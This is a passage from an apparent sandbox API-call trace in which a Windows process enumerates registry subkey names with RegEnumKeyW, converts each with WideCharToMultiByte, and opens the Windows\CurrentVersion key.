CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools location", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0038.221] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools location", cchWideChar=21, lpMultiByteStr=0x94c0d8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared tools location", lpUsedDefaultChar=0x0) returned 21 [0038.221] RegEnumKeyW (in: hKey=0x34, dwIndex=0x64, lpName=0x94b930, cchName=0x104 | out: lpName="SideShow") returned 0x0 [0038.221] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sideshow", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0038.221] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sideshow", cchWideChar=8, lpMultiByteStr=0x94c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sideshow", lpUsedDefaultChar=0x0) returned 8 [0038.221] RegEnumKeyW (in: hKey=0x34, dwIndex=0x65, lpName=0x94b930, cchName=0x104 | out: lpName="SnippingTool") returned 0x0 [0038.221] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="snippingtool", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.221] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="snippingtool", cchWideChar=12, lpMultiByteStr=0x94c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="snippingtool", lpUsedDefaultChar=0x0) returned 12 [0038.221] RegEnumKeyW (in: hKey=0x34, dwIndex=0x66, lpName=0x94b930, cchName=0x104 | out: lpName="Software") returned 0x0 [0038.221] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0038.221] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x94c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0038.221] RegEnumKeyW (in: hKey=0x34, dwIndex=0x67, lpName=0x94b930, cchName=0x104 | out: lpName="Speech") returned 0x0 [0038.221] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="speech", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0038.221] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="speech", cchWideChar=6, lpMultiByteStr=0x94c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="speech", lpUsedDefaultChar=0x0) returned 6 [0038.221] RegEnumKeyW (in: hKey=0x34, dwIndex=0x68, lpName=0x94b930, cchName=0x104 | out: lpName="SQMClient") returned 0x0 [0038.221] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sqmclient", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0038.221] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sqmclient", cchWideChar=9, lpMultiByteStr=0x94c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sqmclient", lpUsedDefaultChar=0x0) returned 9 [0038.222] RegEnumKeyW (in: hKey=0x34, dwIndex=0x69, lpName=0x94b930, cchName=0x104 | out: lpName="Sync Framework") returned 0x0 [0038.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sync framework", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0038.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sync framework", cchWideChar=14, lpMultiByteStr=0x94c0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sync framework", lpUsedDefaultChar=0x0) returned 14 [0038.222] RegEnumKeyW (in: hKey=0x34, dwIndex=0x6a, lpName=0x94b930, cchName=0x104 | out: lpName="Sysprep") returned 0x0 [0038.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sysprep", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0038.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sysprep", cchWideChar=7, lpMultiByteStr=0x94c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sysprep", lpUsedDefaultChar=0x0) returned 7 [0038.222] RegEnumKeyW (in: hKey=0x34, dwIndex=0x6b, lpName=0x94b930, cchName=0x104 | out: lpName="SystemCertificates") returned 0x0 [0038.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="systemcertificates", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0038.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="systemcertificates", cchWideChar=18, lpMultiByteStr=0x94c0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="systemcertificates", lpUsedDefaultChar=0x0) returned 18 [0038.222] RegEnumKeyW (in: hKey=0x34, dwIndex=0x6c, lpName=0x94b930, cchName=0x104 | out: lpName="TableTextService") returned 0x0 [0038.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tabletextservice", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0038.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tabletextservice", cchWideChar=16, lpMultiByteStr=0x94c120, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tabletextservice", lpUsedDefaultChar=0x0) returned 16 [0038.222] RegEnumKeyW (in: hKey=0x34, dwIndex=0x6d, lpName=0x94b930, cchName=0x104 | out: lpName="TabletTip") returned 0x0 [0038.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tablettip", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0038.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tablettip", cchWideChar=9, lpMultiByteStr=0x94c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tablettip", lpUsedDefaultChar=0x0) returned 9 [0038.222] RegEnumKeyW (in: hKey=0x34, dwIndex=0x6e, lpName=0x94b930, cchName=0x104 | out: lpName="Tcpip") returned 0x0 [0038.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tcpip", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0038.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tcpip", cchWideChar=5, lpMultiByteStr=0x94c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tcpip", lpUsedDefaultChar=0x0) returned 5 [0038.222] RegEnumKeyW (in: hKey=0x34, dwIndex=0x6f, lpName=0x94b930, cchName=0x104 | out: lpName="Terminal Server Client") returned 0x0 [0038.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="terminal server client", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0038.223] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="terminal server client", cchWideChar=22, lpMultiByteStr=0x94c0d8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="terminal server client", lpUsedDefaultChar=0x0) returned 22 [0038.223] RegEnumKeyW (in: hKey=0x34, dwIndex=0x70, lpName=0x94b930, cchName=0x104 | out: lpName="TermServLicensing") returned 0x0 [0038.223] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="termservlicensing", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0038.223] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="termservlicensing", cchWideChar=17, lpMultiByteStr=0x94c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="termservlicensing", lpUsedDefaultChar=0x0) returned 17 [0038.223] RegEnumKeyW (in: hKey=0x34, dwIndex=0x71, lpName=0x94b930, cchName=0x104 | out: lpName="TIP Shared") returned 0x0 [0038.223] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tip shared", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0038.223] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tip shared", cchWideChar=10, lpMultiByteStr=0x94c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tip shared", lpUsedDefaultChar=0x0) returned 10 [0038.223] RegEnumKeyW (in: hKey=0x34, dwIndex=0x72, lpName=0x94b930, cchName=0x104 | out: lpName="TPG") returned 0x0 [0038.223] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0038.223] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpg", cchWideChar=3, lpMultiByteStr=0x94c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tpg", lpUsedDefaultChar=0x0) returned 3 [0038.223] RegEnumKeyW (in: hKey=0x34, dwIndex=0x73, lpName=0x94b930, cchName=0x104 | out: lpName="Tpm") returned 0x0 [0038.223] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpm", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0038.223] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpm", cchWideChar=3, lpMultiByteStr=0x94c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tpm", lpUsedDefaultChar=0x0) returned 3 [0038.223] RegEnumKeyW (in: hKey=0x34, dwIndex=0x74, lpName=0x94b930, cchName=0x104 | out: lpName="Tracing") returned 0x0 [0038.223] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tracing", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0038.223] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tracing", cchWideChar=7, lpMultiByteStr=0x94c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tracing", lpUsedDefaultChar=0x0) returned 7 [0038.223] RegEnumKeyW (in: hKey=0x34, dwIndex=0x75, lpName=0x94b930, cchName=0x104 | out: lpName="Transaction Server") returned 0x0 [0038.223] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="transaction server", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0038.223] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="transaction server", cchWideChar=18, lpMultiByteStr=0x94c0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="transaction server", lpUsedDefaultChar=0x0) returned 18 [0038.223] RegEnumKeyW (in: hKey=0x34, dwIndex=0x76, lpName=0x94b930, cchName=0x104 | out: lpName="TV System Services") returned 0x0 [0038.224] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tv system services", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0038.224] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tv system services", cchWideChar=18, lpMultiByteStr=0x94c120, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tv system services", lpUsedDefaultChar=0x0) returned 18 [0038.224] RegEnumKeyW (in: hKey=0x34, dwIndex=0x77, lpName=0x94b930, cchName=0x104 | out: lpName="uDRM") returned 0x0 [0038.224] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="udrm", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0038.224] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="udrm", cchWideChar=4, lpMultiByteStr=0x94c0d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="udrm", lpUsedDefaultChar=0x0) returned 4 [0038.224] RegEnumKeyW (in: hKey=0x34, dwIndex=0x78, lpName=0x94b930, cchName=0x104 | out: lpName="Updates") returned 0x0 [0038.224] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="updates", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0038.224] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="updates", cchWideChar=7, lpMultiByteStr=0x94c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updates", lpUsedDefaultChar=0x0) returned 7 [0038.224] RegEnumKeyW (in: hKey=0x34, dwIndex=0x79, lpName=0x94b930, cchName=0x104 | out: lpName="UPnP Device Host") returned 0x0 [0038.224] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="upnp device host", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0038.224] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="upnp device host", cchWideChar=16, lpMultiByteStr=0x94c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="upnp device host", lpUsedDefaultChar=0x0) returned 16 [0038.224] RegEnumKeyW (in: hKey=0x34, dwIndex=0x7a, lpName=0x94b930, cchName=0x104 | out: lpName="VBA") returned 0x0 [0038.224] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vba", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0038.224] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vba", cchWideChar=3, lpMultiByteStr=0x94c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vba", lpUsedDefaultChar=0x0) returned 3 [0038.224] RegEnumKeyW (in: hKey=0x34, dwIndex=0x7b, lpName=0x94b930, cchName=0x104 | out: lpName="Virtual Machine") returned 0x0 [0038.224] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="virtual machine", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0038.224] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="virtual machine", cchWideChar=15, lpMultiByteStr=0x94c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="virtual machine", lpUsedDefaultChar=0x0) returned 15 [0038.224] RegEnumKeyW (in: hKey=0x34, dwIndex=0x7c, lpName=0x94b930, cchName=0x104 | out: lpName="VisualStudio") returned 0x0 [0038.225] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="visualstudio", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.225] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="visualstudio", cchWideChar=12, lpMultiByteStr=0x94c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="visualstudio", lpUsedDefaultChar=0x0) returned 12 [0038.225] RegEnumKeyW (in: hKey=0x34, dwIndex=0x7d, lpName=0x94b930, cchName=0x104 | out: lpName="WAB") returned 0x0 [0038.225] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wab", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0038.225] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wab", cchWideChar=3, lpMultiByteStr=0x94c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wab", lpUsedDefaultChar=0x0) returned 3 [0038.225] RegEnumKeyW (in: hKey=0x34, dwIndex=0x7e, lpName=0x94b930, cchName=0x104 | out: lpName="WBEM") returned 0x0 [0038.225] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wbem", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0038.225] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wbem", cchWideChar=4, lpMultiByteStr=0x94c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wbem", lpUsedDefaultChar=0x0) returned 4 [0038.225] RegEnumKeyW (in: hKey=0x34, dwIndex=0x7f, lpName=0x94b930, cchName=0x104 | out: lpName="WIMMount") returned 0x0 [0038.225] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wimmount", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0038.225] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wimmount", cchWideChar=8, lpMultiByteStr=0x94c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wimmount", lpUsedDefaultChar=0x0) returned 8 [0038.225] RegEnumKeyW (in: hKey=0x34, dwIndex=0x80, lpName=0x94b930, cchName=0x104 | out: lpName="Windows") returned 0x0 [0038.225] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0038.225] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0x94c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windows", lpUsedDefaultChar=0x0) returned 7 [0038.225] RegOpenKeyExW (in: hKey=0x34, lpSubKey="Windows", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0x90) returned 0x0 [0038.226] RegCloseKey (hKey=0x34) returned 0x0 [0038.226] RegEnumKeyW (in: hKey=0x90, dwIndex=0x0, lpName=0x94b930, cchName=0x104 | out: lpName="CurrentVersion") returned 0x0 [0038.226] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentversion", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0038.226] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentversion", cchWideChar=14, lpMultiByteStr=0x94c0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentversion", lpUsedDefaultChar=0x0) returned 14 [0038.226] RegOpenKeyExW (in: hKey=0x90, lpSubKey="CurrentVersion", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0x34) returned 0x0 [0038.226] RegCloseKey (hKey=0x90) returned 0x0 [0038.226] RegEnumKeyW (in: hKey=0x34, dwIndex=0x0, lpName=0x94b930, cchName=0x104 | out: lpName="App Management") returned 0x0 [0038.226] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app management", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0038.226] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app management", cchWideChar=14, lpMultiByteStr=0x94c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="app management", lpUsedDefaultChar=0x0) returned 14 [0038.226] RegEnumKeyW (in: hKey=0x34, dwIndex=0x1, lpName=0x94b930, cchName=0x104 | out: lpName="App Paths") returned 0x0 [0038.226] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app paths", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0038.226] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app paths", cchWideChar=9, lpMultiByteStr=0x94c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="app paths", lpUsedDefaultChar=0x0) returned 9 [0038.226] RegEnumKeyW (in: hKey=0x34, dwIndex=0x2, lpName=0x94b930, cchName=0x104 | out: lpName="Applets") returned 0x0 [0038.226] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applets", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0038.226] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applets", cchWideChar=7, lpMultiByteStr=0x94c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="applets", lpUsedDefaultChar=0x0) returned 7 [0038.227] RegEnumKeyW (in: hKey=0x34, dwIndex=0x3, lpName=0x94b930, cchName=0x104 | out: lpName="Audio") returned 0x0 [0038.227] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audio", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0038.227] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audio", cchWideChar=5, lpMultiByteStr=0x94c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audio", lpUsedDefaultChar=0x0) returned 5 [0038.227] RegEnumKeyW (in: hKey=0x34, dwIndex=0x4, lpName=0x94b930, cchName=0x104 | out: lpName="Authentication") returned 0x0 [0038.227] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="authentication", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0038.227] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="authentication", cchWideChar=14, lpMultiByteStr=0x94c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="authentication", lpUsedDefaultChar=0x0) returned 14 [0038.227] RegEnumKeyW (in: hKey=0x34, dwIndex=0x5, lpName=0x94b930, cchName=0x104 | out: lpName="BitLocker") returned 0x0 [0038.227] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bitlocker", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0038.227] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bitlocker", cchWideChar=9, lpMultiByteStr=0x94c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bitlocker", lpUsedDefaultChar=0x0) returned 9 [0038.227] RegEnumKeyW (in: hKey=0x34, dwIndex=0x6, lpName=0x94b930, cchName=0x104 | out: lpName="BITS") returned 0x0 [0038.227] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0038.227] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x94c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0038.227] RegEnumKeyW (in: hKey=0x34, dwIndex=0x7, lpName=0x94b930, cchName=0x104 | out: lpName="Component Based Servicing") returned 0x0 [0038.227] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="component based servicing", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0038.227] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="component based servicing", cchWideChar=25, lpMultiByteStr=0x94c0d8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 